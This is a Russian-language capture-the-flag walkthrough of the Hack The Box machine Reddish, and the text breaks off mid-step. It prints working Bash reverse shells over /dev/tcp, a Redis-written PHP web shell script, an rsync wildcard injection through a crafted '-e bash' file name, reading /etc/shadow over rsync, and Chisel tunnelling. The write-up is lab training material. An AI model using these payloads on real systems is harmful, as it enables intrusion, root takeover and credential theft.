HTB{ Reddish }
Что делать в случае, когда тебе нужно захватить контроль над хостом, который находится в другой подсети? Верно — много запутанных туннелей! На примере виртуалки Reddish с Hack The Box мы встретимся со средой визуального программирования Node-RED, где в прямом смысле «построим» реверс-шелл, проэксплуатируем слабую конфигурацию СУБД Redis, воспользуемся инструментом зеркалирования файлов rsync для доступа к чужой файловой системе, а также создадим целое множество вредоносных задач cron всех сортов и расцветок. И что самое интересное — все управление хостом будет выполняться посредством маршрутизации трафика по докер-контейнерам через несколько TCP-туннелей. Погнали!
- Разведка
- Докер. Контейнер I: “nodered”
- Туннелирование… как много в этом звуке
- Докер. Контейнер II: “www”
- Докер. Контейнер III: “backup”
- Финальный захват хоста Reddish
- Эпилог
Разведка
В этом разделе будет собрана необходима информация для дальнейшего проникновения вглубь системы.
Сканирование портов
Расчехляем Nmap, и в бой! Забегая вперед, сразу скажу, что дефолтные 1000 портов, которые Nmap сканирует в первую очередь, оказались закрыты. Поэтому будем исследовать весь диапазон TCP на высокой скорости.
root@kali:~# nmap -n -Pn --min-rate=5000 -oA nmap/tcp-allports 10.10.10.94 -p-
root@kali:~# cat nmap/tcp-allports.nmap
...
Host is up (0.12s latency).
Not shown: 65534 closed ports
PORT STATE SERVICE
1880/tcp open vsat-control
...
После полного сканирования, как можно видеть, откликнулся только один неизвестный на первый взгляд 1880-й порт. Попробуем вытащить из него больше информации.
root@kali:~# nmap -n -Pn -sV -sC -oA nmap/tcp-port1880 10.10.10.94 -p1880
root@kali:~# cat nmap/tcp-port1880.nmap
...
PORT STATE SERVICE VERSION
1880/tcp open http Node.js Express framework
|_http-title: Error
...
Сканер говорит, что на этом порту развернут Express — фреймворк веб-приложений Node.js. Когда видишь приставку «веб» — верно, в первую очередь открываем браузер…
Веб — порт 1880
Все, что нам было суждено узнать после перехода на страницу http://10.10.10.94:1880/
— лишь немногословное сообщение об ошибке.
На этом этапе есть два пути разобраться, что за приложение висит на этом порту:
- Сохранить значок веб-сайта к себе на машину (обычно они живут по адресу
/favicon.ico
) и попытаться найти, на что он похож, с помощью Reverse Image Search. - Спросить у поисковика, с чем чаще всего бывает ассоциирован порт
1880
.
Второй вариант более «казуальный», однако не менее эффективный: уже на первой ссылке по такому запросу мне открылась Истина.
Node-RED
Если верить официальному сайту, Node-RED — это такая среда для визуального программирования, где можно конструировать взаимосвязи между разными сущностями (от локальных железок до API онлайн-сервисов). Чаще всего, как я понял, о Node-RED говорят в контексте управления умным домом в частности и девайсами IoT в целом.
Окей, софт мы идентифицировали, но ошибка доступа к веб-странице от этого никуда не делась.
root@kali:~# curl -i http://10.10.10.94:1880
HTTP/1.1 404 Not Found
X-Powered-By: Express
Content-Security-Policy: default-src 'self'
X-Content-Type-Options: nosniff
Content-Type: text/html; charset=utf-8
Content-Length: 139
Date: Thu, 30 Jan 2020 21:53:05 GMT
Connection: keep-alive
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>Error</title>
</head>
<body>
<pre>Cannot GET /</pre>
</body>
</html>
Первое, что приходит в голову — запустить брутер директорий. Но прежде, чем это сделать, попробуем поменять метод запроса с GET на POST.
root@kali:~# curl -i -X POST http://10.10.10.94:1880
HTTP/1.1 200 OK
X-Powered-By: Express
Content-Type: application/json; charset=utf-8
Content-Length: 86
ETag: W/"56-dJUoKg9C3oMp/xaXSpD6C8hvObg"
Date: Thu, 30 Jan 2020 22:04:20 GMT
Connection: keep-alive
{"id":"a237ac201a5e6c6aa198d974da3705b8","ip":"::ffff:10.10.14.19","path":"/red/{id}"}
Ну вот и обошлось безо всяких там брутеров. Видим, что при обращении к корню веб-сайта через POST сервер отвечает примером того, как должно выглядеть тело запроса. В принципе, до этого можно дойти логически: тонны примеров именно POST-запросов можно видеть в документации к API Node-RED.
Итак, при переходе по http://10.10.10.94:1880/red/a237ac201a5e6c6aa198d974da3705b8/
мы видим следующую картину.
Давай разбираться, что здесь можно наворотить.
Node-RED Flow
Первая ассоциация, которая приходит на ум при виде рабочей области Node-RED — «песочница». Без лишних доказательств я понял, что эта штука способна на многое, однако мне нужно всего ничего: способ получить шелл на сервере.
Пролистав вниз панель «строительных блоков» (или «узлов», как называет их Node-RED) слева, я увидел вкладку Advanced, где спряталась столь дорогая сердцу любого хакера функция exec.
Spice must FLOW
В философии Node-RED каждая комбинация, которую ты соберешь в рабочей области, называется «флоу» (или «поток»). Потоки можно строить, выполнять, импортировать и экспортировать в JSON. При нажатии на кнопку Deploy сервером (как ни странно) деплоятся все потоки со всех вкладок рабочей области.
simple-shell
Попробуем что-нибудь построить, тогда все станет более очевидно. Первым потоком, который я задеплоил, стал тривиальный шелл.
Будем обращаться к тому, что изображено на картинке, по цветам блоков:
- Серый (слева): получение данных на вход. Сервер выполняет обратное подключение к моему IP и привязывает мой ввод с клавиатуры к оранжевому блоку exec.
- Оранжевый: функция выполнения команд на сервере. Результат работы данного блока поступает на вход второму серому блоку. Обрати внимание: у оранжевого блока есть три выходных «клеммы». Они соответствуют
stdout
,stderr
и коду возврата (который я не стал использовать). - Серый (справа): отправка выходных данных. Если открыть расширенные настройки блока (двойным кликом), можно задать особенности его поведения. Я выбрал Reply to TCP, чтобы Node-RED отправлял мне ответы в этом же подключении.
О двух серых блоках можно думать, как о сетевых пайпах, по которым идет INPUT и OUTPUT блока exec. Я оставлю экспортированный поток в JSON у себя на GitHub, чтобы не засорять тело статьи.
Далее поднимем локального слушателя на Kali и устроим деплой!
Как можно видеть — обыкновенный non-PTY шелл.
beautiful-shell
Конечно, мне было интересно поиграть в такой песочнице, поэтому я собрал еще несколько конструкций.
Это более аккуратный шелл с возможностью отправки запроса на подключения «с кнопки» (синий) без необходимости редеплоить весь проект, логированием (зеленый) происходящего в веб-интерфейс (см. рисунок ниже) и форматированием вывода команд под свой шаблон (желтый).
Исходник в JSON-ке здесь.
file-upload
Раз такое дело, почему бы не соорудить флоу для заливки файлов на сервер.
Здесь все совсем просто: по нажатию на кнопку Connect сервер подключается к порту 8889
моей машины (где уже поднят листенер с нужным файлом) и сохраняет полученную информацию у себя в скрытый файл /tmp/.file
(JSON).
Испытаем этот поток в деле: я запускаю nc
на Kali с указанием передать скрипт для проведения локальной разведки на Linux lse.sh (который я начал использовать вместо привычного LinEnum.sh), дожидаюсь окончания загрузки и проверяю контрольные суммы обоих копий.
На Kali:
root@kali:~# nc -lvnp 8889 < lse.sh
...
root@kali:~# md5sum lse.sh
7d3a4fe5c7f91692885bbeb631f57c70 lse.sh
На Node-RED:
root@nodered:/tmp# md5sum .file
7d3a4fe5c7f91692885bbeb631f57c70 .file
Загрузка файлов из командной строки
Откровенно говоря, такой подход к трансферу файлов избыточен, ведь всю процедуру можно провести, не отходя от терминала.
root@kali:~# nc -w3 -lvnp 8889 < lse.sh
root@nodered:~# bash -c 'cat < /dev/tcp/10.10.14.19/8889 > /tmp/.file'
reverse-shell
Я не был доволен тем шеллом, который был построен из абстракций Node-RED (некорректно читались некоторые символы, и вообще вся эта конструкция выглядела очень ненадежно), поэтому я получил полноценный Reverse Shell.
Сперва я сделал это, как показано выше — путем открытия еще одного порта в новой вкладки терминала и вызовом реверс-шелла на Bash по TCP. Однако позже я решил упростить себе жизнь на случай, если придется перезапускать сессию, и собрал такой флоу в Node-RED (JSON).
Обрати внимание, что я завернул пейлоад для реверс-шелла в дополнительную оболочку Bash bash -c '<PAYLOAD>'
. Это сделано для того, чтобы команда была выполнена именно итерпретатором Bash, так как дефолтный шелл на этом хосте — dash.
node-red> ls -la /bin/sh
lrwxrwxrwx 1 root root 4 Nov 8 2014 /bin/sh -> dash
Теперь я могу написать простой Bash-скрипт, чтобы триггерить callback в один клик из командной строки.
#!/usr/bin/env bash
(sleep 0.5; curl -s -X POST http://10.10.10.94:1880/red/a237ac201a5e6c6aa198d974da3705b8/inject/7635e880.e6be48 >/dev/null &)
rlwrap nc -lvnp 8888
Адрес URL, который я передаю curl
— тот адрес, где расположился объект Inject данного потока (то есть кнопка Go! на рисунке выше). Также я использую rlwrap, чтобы не сойти с ума от невозможности использовать стрелки влево-вправо для перемещения по вводимой строке и вверх-вниз для перемещения по истории команд.
У нас есть шелл, поэтому пора разобраться, куда мы попали.
Докер. Контейнер I: “nodered”
Уже с первых секунд пребывания на сервере становится очевидно, что мы внутри докера, так как наш шелл вернулся от имени суперпользователя root.
Это же предположение подтверждает скрипт lse.sh, заброшенный на машину в прошлом параграфе.
Ну а если ты и ему не веришь, можно убедиться в этом лично: в корне файловой системы (далее «ФС») существует директория .dockerenv
.
root@nodered:/node-red# ls -la /.dockerenv
-rwxr-xr-x 1 root root 0 May 4 2018 /.dockerenv
Если ты оказался в докере, первым делом рекомендуется проверить сетевое окружение на случай, если это не единичный контейнер в цепочке. В текущей системе отсутствует ifconfig
, поэтому информацию о сетевых интерфейсах будем смотреть с помощью ip addr
.
Как видно, этот докер может общаться с двумя подсетями: 172.18.0.0/16
и 172.19.0.0/16
. В первой подсети контейнер (будем называть его nodered
) имеет IP-адрес 172.18.0.2
, а во второй — 172.19.0.4
. Посмотрим, с какими еще хостами взаимодействовал nodered
.
Кэш ARP указывает на то, что nodered
знает как минимум еще два хоста: 172.19.0.2
и 172.19.0.3
(хосты .1
не беру во внимание, так как, скорее всего, это шлюзы по умолчанию к хостовой ОС).
Проведем сканирование с целью обнаружения хостов.
Host Discovery
«Пробить» сетевое окружение можно разными способами.
Ping Sweep
Первый способ — написать простой скрипт, который позволит «простучать» всех участников сети техникой Ping Sweep. Идея проста: отправим по одному ICMP-запросу на каждый хост уровня L2 сети 172.18.0.0
(или просто 172.18.0.0/24
) и посмотрим на код возврата. Если успех — выводим сообщение на экран, иначе — ничего не делаем.
#!/usr/bin/env bash
IP="$1"; for i in $(seq 1 254); do (ping -c1 $IP.$i >/dev/null && echo "ON: $IP.$i" &); done
Всего может быть 254 хоста (256
минус адрес_сети
минус адрес_широковещателя
) в сканируемом участке сети. Чтобы выполнить эту проверку за 1 секунду, а не за 254, будем запускать каждый ping
в своем шелл-процессе. Это не затратно, так как они будут быстро умирать, и я получу практически мгновенный результат.
root@nodered:~# IP="172.18.0"; for i in $(seq 1 254); do (ping -c1 $IP.$i >/dev/null && echo "ON: $IP.$i" &); done
ON: 172.18.0.1 <-- Шлюз по умолчанию для nodered (хост)
ON: 172.18.0.2 <-- Докер-контейнер nodered
При сканировании этой подсетки получили только гейтвей и свой же контейнер. Неинтересно, пробуем 172.19.0.0/24
.
root@nodered:~# IP="172.19.0"; for i in $(seq 1 254); do (ping -c1 $IP.$i >/dev/null && echo "ON: $IP.$i" &); done
ON: 172.19.0.1 <-- Шлюз по умолчанию для nodered (хост)
ON: 172.19.0.2 <-- ???
ON: 172.19.0.3 <-- ???
ON: 172.19.0.4 <-- Докер-контейнер nodered
Есть два незвестных хоста, которые мы вскоре отправимся изучать, но прежде еще один способ проведения Host Discovery.
Статический Nmap
Забросим на nodered
копию статически скомпилированного Nmap вместе с файлом /etc/services
со своей Kali (он содержит ассоциативный маппинг имя_службы <--> номер_порта
, необходимый для работы сканера) и запустим обнаружение хостов.
root@nodered:/tmp# ./nmap -n -sn 172.18.0.0/24 2>/dev/null | grep -e 'scan report' -e 'scanned in'
Nmap scan report for 172.18.0.1
Nmap scan report for 172.18.0.2
Nmap done: 256 IP addresses (2 hosts up) scanned in 2.01 seconds
Nmap нашел два хоста в подсети 172.18.0.0/24
.
root@nodered:/tmp# ./nmap -n -sn 172.19.0.0/24 2>/dev/null | grep -e 'scan report' -e 'scanned in'
Nmap scan report for 172.19.0.1
Nmap scan report for 172.19.0.2
Nmap scan report for 172.19.0.3
Nmap scan report for 172.19.0.4
Nmap done: 256 IP addresses (4 hosts up) scanned in 2.02 seconds
И четыре хоста в подсети 172.19.0.0/24
. Все в точности, как и при ручном Ping Sweep.
Сканирование неизвестных хостов
Для того, чтобы выяснить, какие порты открыты на двух неизвестных хостах, можно снова написать такой однострочник на Bash.
#!/usr/bin/env bash
IP="$1"; for port in $(seq 1 65535); do (echo '.' >/dev/tcp/$IP/$port && echo "OPEN: $port" &) 2>/dev/null; done
Работать он будет примерно так же, как и ping-sweep.sh
, только вместо команды ping
здесь отправляется тестовый символ прямиком на сканируемый порт. Только вот зачем так извращаться, когда у нас уже есть Nmap?
root@nodered:/tmp# ./nmap -n -Pn -sT --min-rate=5000 172.19.0.2 -p-
...
Unable to find nmap-services! Resorting to /etc/services
Cannot find nmap-payloads. UDP payloads are disabled.
...
Host is up (0.00017s latency).
Not shown: 65534 closed ports
PORT STATE SERVICE
6379/tcp open unknown
...
root@nodered:/tmp# ./nmap -n -Pn -sT --min-rate=5000 172.19.0.3 -p-
...
Unable to find nmap-services! Resorting to /etc/services
Cannot find nmap-payloads. UDP payloads are disabled.
...
Host is up (0.00013s latency).
Not shown: 65534 closed ports
PORT STATE SERVICE
80/tcp open http
...
Обнаружили два открытых порта — по одному на каждый неизвестный хост. Сперва подумаем, как можно добраться до веба на 80-м, а потом перейдем к порту 6379.
Туннелирование… как много в этом звуке
Чтобы добраться до удаленного 80-го порта, придется строить туннель от своей машины до хоста 172.19.0.3
. Сделать это можно по истине неисчисляемым количеством способов, например:
- Использовать функционал Metasploit проброса маршрутов через meterpreter-сессию.
- Иниицировать соединение Reverse SSH, где в качестве сервера будет выступать машина атакующего, а в качестве клиента — контейнер
nodered
. - Задействовать сторонние приложение, предназначенные непосредственно для настройки туннелей между узлами.
Еще, наверное, можно было бы воспользоваться песочницей Node-RED и попытаться придумать такой флоу, который бы осуществлял маршрутизацию трафика от атакующего до неизвестных хостов, но… Хотел бы я посмотреть на смельчака, который этим займется.
Первый пункт с Metasploit мы рассматривали в предыдущей статье, поэтому повторяться не будем. Второй пункт был также рассмотрен, но речь там шла про тачки на Windows, а у нас же Линуксы… Посему план такой: сперва я быстро покажу способ реверсивного соединения с помощью SSH, а дальше перейдем к специальному софту для туннелирования.
Reverse SSH (пример)
Для создания обратного SSH-туннеля нужен переносной клиент, который можно было бы разместить на nodered
. Именно таким клиентом является dropbear от австралийского разработчика Мэта Джонсона.
Скачаем исходные коды клиента с домашней страницы его создателя и скомпилируем его статически у себя на машине.
root@kali:~# wget https://matt.ucc.asn.au/dropbear/dropbear-2019.78.tar.bz2
root@kali:~# tar xjvf dropbear-2019.78.tar.bz2 && cd dropbear-2019.78
root@kali:~/dropbear-2019.78# ./configure --enable-static && make PROGRAMS='dbclient dropbearkey'
root@kali:~/dropbear-2019.78# du -h dbclient
1.4M dbclient
Размер полученного бинарника — 1.4 Мб. Можно уменьшить его почти в три раза двумя простыми командами.
root@kali:~/dropbear-2019.78# make strip
root@kali:~/dropbear-2019.78# upx dbclient
root@kali:~/dropbear-2019.78# du -h dbclient
520K dbclient
Сперва я срезал всю отладочную информацию с помощью Makefile
, а затем сжал бинарь упаковщиком исполняемых файлов UPX.
Теперь сгенерируем пару «открытый/закрытый ключ» с помощью dropbearkey
и дропнем клиент и закрытый ключ на nodered
.
root@kali:~/dropbear-2019.78# ./dropbearkey -t ecdsa -s 521 -f .secret
Generating 521 bit ecdsa key, this may take a while...
Public key portion is:
ecdsa-sha2-nistp521 AAAAE2VjZHNhLXNoYTItbmlzdHA1MjEAAAAIbmlzdHA1MjEAAACFBAA2TCQk3VTYCX/hZjMmXT0/A27f5EOKQY4FbXcYeNWXIPLFQOOLnQFWbAjBa9qOUdmwOipVvDwXnvt6hEmwitflvQEIw9wHQ4spUAqs/0CR6AoiTT3w7v6CAX/uq0u2oS7gWf9SPy/Npz8Ond6XJKh+d0QPXz0uQrq0wyprCYo+g/OiEA== root@kali
Fingerprint: sha1!! ef:6a:e8:e0:f8:49:f3:cb:67:34:5d:0b:f5:cd:c0:e5:8e:49:28:41
Все, SSH-клиент вместе с 521-битный приватным ключом (на эллиптике) улетели в контейнер. Теперь создадим фиктивного пользователя с шеллом /bin/false
, чтобы не подставлять свою машину в случае, если кто-то наткнется на закрытый ключ.
root@kali:~# useradd -m snovvcrash
root@kali:~# vi /etc/passwd
... Меняем шелл юзера snovvcrash на "/bin/false" ...
root@kali:~# mkdir /home/snovvcrash/.ssh
root@kali:~# vi /home/snovvcrash/.ssh/authorized_keys
... Копируем открытый ключ ...
Все готово, можно пробрасывать туннель.
root@nodered:/tmp# ./dbclient -f -N -R 8890:172.19.0.3:80 -i .secret -y snovvcrash@10.10.14.19
-
-f
— свернуть клиент в бэкграунд после аутентификации на сервере; -
-N
— не выполнять команды на сервере и не запрашивать шелл; -
-R 8890:172.19.0.3:80
— слушатьlocalhost:8890
на Kali и перенаправлять все, что туда попадет, на172.19.0.3:80
; -
-i .secret
— аутентификация по приватному ключу.secret
; -
-y
— автоматически добавлять хост с отпечатком его открытого ключа в список доверенных.
На Kali можно проверить успешность создания туннеля с помощью каноничного netstat
или его новомодной альтернативы ss
.
root@kali:~# netstat -alnp | grep LIST | grep 8890
tcp 0 0 127.0.0.1:8890 0.0.0.0:* LISTEN 236550/sshd: snovvc
tcp6 0 0 ::1:8890 :::* LISTEN 236550/sshd: snovvc
root@kali:~# ss | grep 1880
tcp ESTAB 0 0 10.10.14.19:43590 10.10.10.94:1880
После всего этого можно открыть браузер и на localhost:8890
окажется тот самый эндпоинт, маршрут к которому мы прокладывали.
It works! Видеть такие надписи мне однозначно нравится.
Как я и говорил, это всего лишь пример, потому что дальше мы будем пользоваться клиент-сервером Chisel для продвижения по виртуалке Reddish.
Chisel
Быстрые TCP-туннели от Chisel. Транспортировка по HTTP. Безопасность по SSH.
Мы новый мир построим
Ладно, возможно, разработчик описывает свой софт чуть менее пафосно, но у меня в голове это прозвучало именно так.
А если серьезно, то Chisel — это связка «клиент + сервер» в одном приложении, написанном на Go, которое позволяет прокладывать защищенные туннели в обход ограничений файрвола. В нашем случае мы будем использовать Chisel, чтобы настроить реверс-коннект с контейнера rednode
до Kali. По большому счету, функционал этого инструмента очень схож с принципами организации туннелирования посредством SSH, даже синтаксис команд похож.
Чтобы не запутаться в хитросплетениях соединений, я буду вести сетевую «карту местности». Пока у нас есть информация только о nodered
и www
.
Сетевая карта. Часть 1: Начальные сведения
Загрузим и соберем Chisel на Kali.
root@kali:~# git clone http://github.com/jpillora/chisel && cd chisel
root@kali:~/chisel# go build
root@kali:~/chisel# du -h chisel
12M chisel
Объем 12 Мб — это немало в условии транспортировки исполняемого файла на машину-жертву, поэтому можно так же сжать бинарник, как мы делали это с dropbear
: с помощью флагов линковщика -ldflags
уберем отладочную информацию, а затем упакуем файл в UPX.
root@kali:~/chisel# go build -ldflags='-s -w'
root@kali:~/chisel# upx chisel
root@kali:~/chisel# du -h chisel
3.2M chisel
Класс, теперь перенесем chisel
в контейнер и создадим туннель.
root@kali:~/chisel# ./chisel server -v -reverse -p 8000
Первым действием поднимаем сервер на Kali, который слушает активность на 8000-м порту (-p 8000
) и разрешает создание обратных подключений (-reverse
).
root@nodered:/tmp# ./chisel client 10.10.14.19:8000 R:127.0.0.1:8890:172.19.0.3:80 &
После чего подключаемся к этому серверу с помощью клиента на nodered
. Команда выше откроет 8890-й порт на Kali (флаг R
), через который трафик будет попадать в 80-й порт хоста 172.19.0.3
. Если не указать сетевой интерфейс на обратном соединении явно (в данном случае это 127.0.0.1
), то будет использован 0.0.0.0
, что означает, что любой участник сети сможет юзать нашу машину в качестве футхолда для общения с 172.19.0.3:80
. Так как это нас не устраивает, то приходится вручную прописывать 127.0.0.1
. В этом отличие от дефолтного SSH-клиента: там по умолчанию всегда будет использован 127.0.0.1
.
Сетевая карта. Часть 2: Туннель до веба через nodered
Исследование веб-сайта
Если открыть localhost:8890
в браузере, нас снова встретит радостная новость о том, что «It works!». Это мы уже видели, поэтому откроем сорцы веб-странички в поисках интересного кода.
Целиком исходник вставлять не буду, только скриншот с интересными моментами.
Комментарий (синим) гласит о том, что где-то существует контейнер с базой данных, у которой есть доступ к сетевой папке этого сервера. Аргументы функции test
(красным) в совокупность с упоминанием некой базы данных напоминают команды GET и INCR в NoSQL-СУБД Redis. С примерами тестовых запросов через ajax
можно поиграть в браузере и убедиться, что они и правда работают в отличии от еще нереализованной функции backup
.
Пока все сходится, и, сдается мне, я знаю, где искать Redis: как ты помнишь, у нас оставался еще один неопознанный хост с открытым 6379-м портом… Как раз самым что ни на есть дефолтным портом для Redis.
Redis
Пробросим еще один обратный туннель на Kali, который будет идти к порту 6379
.
root@nodered:/tmp# ./chisel client 10.10.14.19:8000 R:127.0.0.1:6379:172.19.0.2:6379 &
Сетевая карта. Часть 3: Туннель до Redis через nodered
И теперь можно стучаться в гости к Redis со своей машины. К примеру, просканируем 6379-й порт с помощью Nmap — благо теперь у нас есть весь арсенал NSE для идентификации сервисов. Не забываем о флаге -sT
, так как сырые пакеты не умеют ходить через туннели.
root@kali:~# nmap -n -Pn -sT -sV -sC localhost -p6379
...
PORT STATE SERVICE VERSION
6379/tcp open redis Redis key-value store 4.0.9
...
Как предлагают в этом посте, проверим, нужна ли авторизация для взаимодействия с БД.
Похоже, что нет, а это значит, что можно дальше раскручивать этот вектор. Я не буду инжектить свой открытый ключ в контейнер для подключения по SSH, как советуют на Packet Storm (потому что нет самого SSH), но зато никто не запрещает залить веб-шелл в расшаренную папку веб-севера.
Общаться с СУБД можно в простом подключении netcat/telnet, однако круче скачать и собрать нативный CLI-клиент из исходников самой базы данных.
root@kali:~# git clone https://github.com/antirez/redis && cd redis
root@kali:~/redis# make redis-cli
root@kali:~/redis# cd src/
root@kali:~/redis/src# file redis-cli
redis-cli: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=c6e92b4603099564577d4027ba5fd7f20da68230, for GNU/Linux 3.2.0, with debug_info, not stripped
Чтобы удостовериться, что все работает, попробуем те команды, которые мы видели в сорцах веб-страницы.
Отлично, теперь можно сделать нечто более зловредное, а именно — записать веб-шелл в /var/www/html/
. Для этого нужно:
- Очистить ключи для всех БД.
-
Создать в новой БД новую пару
<ключ>, <значение>
с веб-шеллом в качестве значения. - Задать имя новой БД.
- Задать путь для сохранения новой БД.
- Сохранить файл новой БД.
Интересный момент: Redis оптимизирует хранение значений, если в них присутствуют повторяющиеся паттерны, поэтому не всякий пейлоад, записанный в БД, отработает корректно.
Напишем скрипт на Bash, который будет «проигрывать» эти пять шагов выше. Автоматизация нужна, так как вскоре выяснится, что веб-директория очищается каждые три минуты.
#!/usr/bin/env bash
~/redis/src/redis-cli -h localhost flushall
~/redis/src/redis-cli -h localhost set pwn '<?php system($_REQUEST['cmd']); ?>'
~/redis/src/redis-cli -h localhost config set dbfilename shell.php
~/redis/src/redis-cli -h localhost config set dir /var/www/html/
~/redis/src/redis-cli -h localhost save
Скрипт отработал успешно, поэтому можно открыть браузер и после перехода по адресу http://localhost:8890/shell.php?cmd=whoami
тебя будет ждать такой ответ.
Таким образом, у нас есть RCE в контейнере 172.19.0.3
(будем называть его www
, так как он сам так представился).
Раз есть RCE, неплохо было бы получить шелл.
Докер. Контейнер II: “www”
Неплохо бы, да вот есть одно «но»: хост www
умеет общаться только с nodered
, а напрямую связаться с Kali он не может. В таком случае будем создавать очередной туннель (третий по счету) поверх существующего обратного, чтобы через него поймать callback от www
на Kali. Новый туннель будет прямым (или «локальным»).
root@nodered:/tmp# ./chisel client 10.10.14.19:8000 7001:127.0.0.1:9001 &
Что здесь произошло: мы подключились к серверу 10.10.14.19:8000
и вместе с этим проложили туннель, который берет начало в 7001-м порту контейнера nodered
, а заканчивается в 9001-м порту ВМ Kali. Теперь все, что попадет в интерфейс 172.19.0.4:7001
будет автоматически перенаправлено на машину атакующего по адресу 10.10.14.19:9001
. То есть мы сможем собрать реверс-шелл и в качестве цели (RHOST:RPORT
) указать контейнер 172.19.0.4:7001
, а отклик придет уже на локальную (LHOST:LPORT
) тачку 10.10.14.19:9001
. Просто как день!
Сетевая карта. Часть 4: Первый туннель до Kali с nodered
Я добавил две дополнительные строки в скрипт pwn-redis.sh: «отправить шелл» и «запустить слушателя на порт 9001
».
...
(sleep 0.1; curl -s -X POST -d 'cmd=bash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F172.19.0.4%2F7001%200%3E%261%27' localhost:8890/shell.php >/dev/null &)
rlwrap nc -lvnp 9001
Пейлоад для curl
закодирован в Percent-encoding, чтобы не мучаться с «плохими» символами. Вот так он выглядит в «человеческом» виде.
bash -c 'bash -i >& /dev/tcp/172.19.0.4/7001 0>&1'
Теперь в одно действие получаем сессию на www
.
Предлагаю осмотреться.
Во-первых, этот контейнер также имеет доступ в две подсети: 172.19.0.0/16
и 172.20.0.0/16
.
В корне файловой системы — интересная директория /backup
, которая встречается довольно часто на виртуалках Hack The Box (да и в реальной жизни тоже). Внтури — скрипт backup.sh
со следующим содержимым.
cd /var/www/html/f187a0ec71ce99642e4f0afbd441a68b
rsync -a *.rdb rsync://backup:873/src/rdb/
cd / && rm -rf /var/www/html/*
rsync -a rsync://backup:873/src/backup/ /var/www/html/
chown www-data. /var/www/html/f187a0ec71ce99642e4f0afbd441a68b
Здесь мы видим:
- обращение к пока неизвестному нам хосту
backup
; - использование rsync для бэкапа всех файлов с расширением
.rdb
(файлы БД Redis) на удаленный серверbackup
; - использование rsync для восстановления резервной копии (которая также находится где-то на сервере
backup
) содержимого/var/www/html/
.
Думаю, уязвимость видна невооруженным взглядом (мы уже делали что-то подобное с 7z): админ юзает *
(2-я строка) для обращения ко всем rdb-файлам. А в связки с тем, что в арсенале rsync
есть флаг для выполнения команд, это позволяет хакеру создать скрипт с особым именем, идентичным синтаксису для триггера команд, и выполнить какие угодно действия от имени того, кто запускает backup.sh
.
Могу поспорить, что скрипт выполняется по планировщику cron
.
Класс, значит, он будет выполнен от имени root! Приступим к эксплуатации.
Эскалация до root
Сперва в директории /var/www/html/f187a0ec71ce99642e4f0afbd441a68b
создадим файл pwn-rsync.rdb
, содержащий обычный реверс-шелл, которые мы сегодня видели уже сотню раз.
bash -c 'bash -i >& /dev/tcp/172.19.0.4/1337 0>&1'
После этого создадим еще один файл там же с оригинальным именем -e bash pwn-rsync.rdb
. Листинг директории сетевой шары будет выглядеть таким образом в момент перед получением шелла.
www-data@www:/var/www/html/f187a0ec71ce99642e4f0afbd441a68b$ ls
-e bash pwn-rsync.rdb
pwn-rsync.rdb
Теперь осталось открыть новую вкладку терминала и дождаться запуска задания cron
.
И вот, у нас есть root-шелл!
Больше туннелей!
Как ты понимаешь, отклик реверс-шелла я отправил в контейнер nodered
, а ловил его на Kali, поэтому прежде всего этого действа, я пробросил еще один локальный туннель на 1337-м порту с nodered
на свою машину.
root@nodered:/tmp# ./chisel client 10.10.14.19:8000 1337:127.0.0.1:1337 &
Сетевая карта. Часть 5: Второй туннель до Kali с nodered
Теперь можно честно забрать хеш юзера.
Но это всего лишь пользовательский флаг, а мы по-прежнему находимся внутри docker. Что же теперь?
Докер. Контейнер III: “backup”
Устройство скрипта для создания резервных копий должно навести тебя на такую мысль: каким образом проходит аутентификация на сервере backup
? И ответ такой: да, в общем-то, никаким. Доступ к файловой системе этого контейнера может получить кто-угодно, кто сможет дотянуться по сети до www
.
Мы уже видели вывод ip addr
для www
и поняли, что у этого контейнера есть доступ в подсеть 17.20.0.0/24
, однако конкретный адрес сервера backup
нам все еще неизвестен. Можно сделать предположение о том, что его IP-шник 17.20.0.2
по аналогии с раскладом остальных узлов сети.
Чтобы удостовериться в этом, найдем подтвержение нашему предположению. В файл /etc/hosts
отсутсвует информация о принадлежности сервера backup
, однако узнать его адрес можно еще одним способом: отправим всего один ICMP-запрос с www
до backup
.
www-data@www:/$ ping -c1 backup
ping: icmp open socket: Operation not permitted
Делать это нужно из привилигированного шелла, потому что у юзера www-data
не хватает прав для открытия нужного сокета.
root@www:~# ping -c1 backup
PING backup (172.20.0.2) 56(84) bytes of data.
64 bytes from reddish_composition_backup_1.reddish_composition_internal-network-2 (172.20.0.2): icmp_seq=1 ttl=64 time=0.051 ms
--- backup ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.051/0.051/0.051/0.000 ms
Таким нехитрым способом мы убедились, что адрес backup
— 172.20.0.2
. Дополним карту сетевых взаимодействий.
Сетевая карта. Часть 6: Локализация контейнера backup
Теперь вернемся к рассуждению выше: у нас есть доступ к www
и есть rsync
без аутентификации (на 873-м порту), следовательно, у нас есть права на чтение/запись в файловую систему backup
.
Например, я могу просмотреть корень ФС backup
.
www-data@www:/tmp$ rsync rsync://backup:873/src/
...
Или прочитать файл shadow
.
www-data@www:/tmp$ rsync -a rsync://backup:873/etc/shadow .
www-data@www:/tmp$ cat shadow
...
А также записать любой файл в любую директорию на backup
.
www-data@www:/tmp$ echo 'HELLO THERE' > .test
www-data@www:/tmp$ rsync -a .test rsync://backup:873/etc/
-rw-r--r-- 12 2020/02/02 16:25:49 .test
Попробуем таким образом получить шелл: я создам вредоносную задачу cron с реверс-шеллом, запишу ее в /etc/cron.d/
на сервере backup
и поймаю отклик на Kali. Но у нас очередная проблема сетевой доступности: backup
умеет говорить только с www
, а www
только с nodered
… Да, ты правильно понимаешь, придется строить цепочку туннелей: от backup
до www
, от www
до nodered
и от nodered
до Kali.
Получение root-шелла
Следуя принципам динамического программирования, декомпозируем сложную задачу построения такого многосоставного туннеля на две простые подзадачи, а в конце объединим результаты:
1. Пробрасываем локальный порт 1111
из контейнера nodered
до порта 8000
на Kali, на котором работает сервер Chisel. Это позволит нам обращаться к 172.19.0.4:1111
как к серверу Chisel на Kali.
root@nodered:/tmp# ./chisel client 10.10.14.19:8000 1111:127.0.0.1:8000 &
2. Вторым шагом настроим переадресацию с www
на Kali. Для этого подключимся к 172.19.0.4:1111
(то же самое, как если бы мы могли подключиться к Kali напрямую) и пробросим локальный порт 2222
